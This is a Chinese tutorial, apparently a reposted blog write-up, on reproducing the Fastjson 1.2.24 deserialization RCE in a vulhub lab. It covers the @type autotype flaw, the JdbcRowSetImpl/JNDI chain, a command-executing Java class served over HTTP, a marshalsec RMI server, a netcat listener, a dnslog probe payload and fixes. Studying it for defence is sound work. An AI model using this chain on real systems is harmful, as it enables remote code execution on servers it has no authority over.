(一)Fastjson介绍
1、认识Fastjson
Fastjson是一个JSON工具库,它的作用就是把java对象转换为json形式,也可
以用来将json转换为java对象。
1.1 序列化
序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列化,注意它不包括类名。
eg:
String text-JSON.toJSONString(obj);//序列化
{name='jinyouxin', age=66, flag=true, sex='boy',address='null'}
1.2 反序列化
反序列化的时候,会调用成员变量的set方法,publibc修饰的成员全部自动赋值。
- JSON.parseObject
返回实际类型对象(用得更多),后面接想要反序列的类型,返回实际类型对象.
eg:
User user4 = JSON.parseObject( serializedStr, User.class);
- **JSON.parse **
JSON.parse() 返回JsonObject对象
eg:
Object obj1 =JSON.parse(serializedStr);
1.3 @type 自省 Autotype
引入这个功能的目的是在序列化的时候防止子类中包含接口或抽象类的时候,类型丢失,这样我们在反序列化的时候就不需要再指定类名。
eg:
之前我们序列化对象时:
{name='jinyouxin', age=66, flag=true, sex='boy', address='null'}
现在我们引入了自省后为
{"@type":"com.jinyouxin.test.User","age":33,"flag":false,"name":"wuya"}
漏洞在这里就发生了,@type中提供了对对象反序列化的类型定义,我们就可以修改此内容的值。
(二)漏洞原理
fastjson在对JSON字符串进行反序列化的时候,会读取@type的内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的set方法,利用这个特性,构造一个JSON字符串,并且使用@type反序列化一个自己想要使用的攻击类库
1、比较常用的攻击类
1.1 com.sun.rowset.JdbcRowSetImpl
这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法
1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp
原理同上
(三)1.2.24 RCE复现
1、vulnhub启动
- cd fastjson/1.2.24-rce
- docker-compose build
- docker-compose up -d
访问端口:
注意:Linux配置JRE版本
vim /etc/profile
export
JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export
CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HO
ME/lib/tools.jar
source /etc/profile
2、攻击机监听(kali)
nc -lvp 9001
之前在Redis未授权漏洞介绍过反弹连接,在这里就是启动此环境
3、恶意脚本准备与上传(kali)
1、编译成 class文件
编译恶意代码,通过javac LinuxRevers 编译成class文件,将编译好的class上传至你的web服务器,地址为http://yours_ip/exp/LinuxTouch.class
public class LinuxTouch {
public LinuxTouch(){
try{
Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
LinuxTouch e = new LinuxTouch();
}
}
仔细阅读代码不难发现,只要下载代码,里面有main方法,就要执行恶意代码,攻击执行
2、启动HTTP服务器
- python -m http.server 8089 py3
- python –m SimpleHTTPServer 8088 py2
启动http服务的目的是给LinuxTouch.class提供下载,假如我们在浏览器直接输入url时,它就会自动下载.class文件。
4、LDAP服务启动(kali)
1、借助marshalsec项目,快速开启rmi或ldap服务
git clone https://github.com/mbechler/marshalsec #下载marshalsec
apt install maven #下载maven,使用maven进行编译jar包
cd marshalsec mvn clean package ‐DskipTests
2、启动一个RMI服务器,监听9473端口,并制定加载远程类LinuxTouch.class:
我们可以把它理解为中介,如果有人访问9473端口的话,就让这个人访问LinuxTouch.class,把它自动下载到本地。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
5、Burp发送payload
我们先用POST访问 8090 的端口,本网页可以接收序列化和反序列化的接口,它就拿到下面的内容进行反序列化,@type 具有自醒的功能,在反序列化的过程中,它会连接到本机已经在kali里面已经启动好的RMI的服务,RMI让它去访问下载LinuxTouch.class文件,这样攻击就发生了。
(四)漏洞原理(JdbcRowSetImpl利用链)
经过上面的漏洞复现,我们大致可以理解漏洞执行的过程,接下来就要具体分析里面方法是怎么
"connect"的
1、set方法
我们想要把二个属性 dataSourceName 和 autoCommit 反序列化成JdbcRowSetImpl类,要调用setDataSourceName()和setAutoCommit()的方法。
1. 1、setSourceName()
给数据源的名字进行赋值。
1.2、setAutoCommit()
connect()的方法就危险!!!
JNDI一旦调用lookup()方法,就会连接到LDAP/RMI服务器,下载恶意代码到本地,执行,攻击发生.
(五)漏洞挖掘
1、思路
1.1 找到发送JSON序列化数据的接口
1.2 判断是否使用fastjon
- 1)非法格式报错
{"x":"
- 2)使用dnslog探测
{"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
(六)修复方案
1、升级JDK
6u211 / 7u201 / 8u191 /11.0.1
2、升级Fastjson到最新版
fastjson.parser.safeMode=true
3、使用安全产品过滤非法内容
4、更换其它序列化工具
Jackson/Gson
版权归原作者 @Camelus 所有, 如有侵权,请联系我们删除。